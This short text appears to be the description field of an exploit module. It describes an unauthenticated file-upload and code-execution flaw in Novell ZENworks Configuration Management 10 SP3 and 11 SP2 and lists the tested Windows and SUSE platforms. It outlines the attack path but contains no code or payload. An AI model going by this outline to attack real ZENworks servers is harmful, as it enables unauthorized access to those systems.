					This module exploits a code execution flaw in Novell ZENworks Configuration
				Management 10 SP3 and 11 SP2. The vulnerability exists in the ZEnworks Control
				Center application, allowing an unauthenticated attacker to upload a malicious file
				outside of the TEMP directory and then make a second request that allows for
				arbitrary code execution. This module has been tested successfully on Novell
				ZENworks Configuration Management 10 SP3 and 11 SP2 on Windows 2003 SP2 and SUSE
				Linux Enterprise Server 10 SP3.
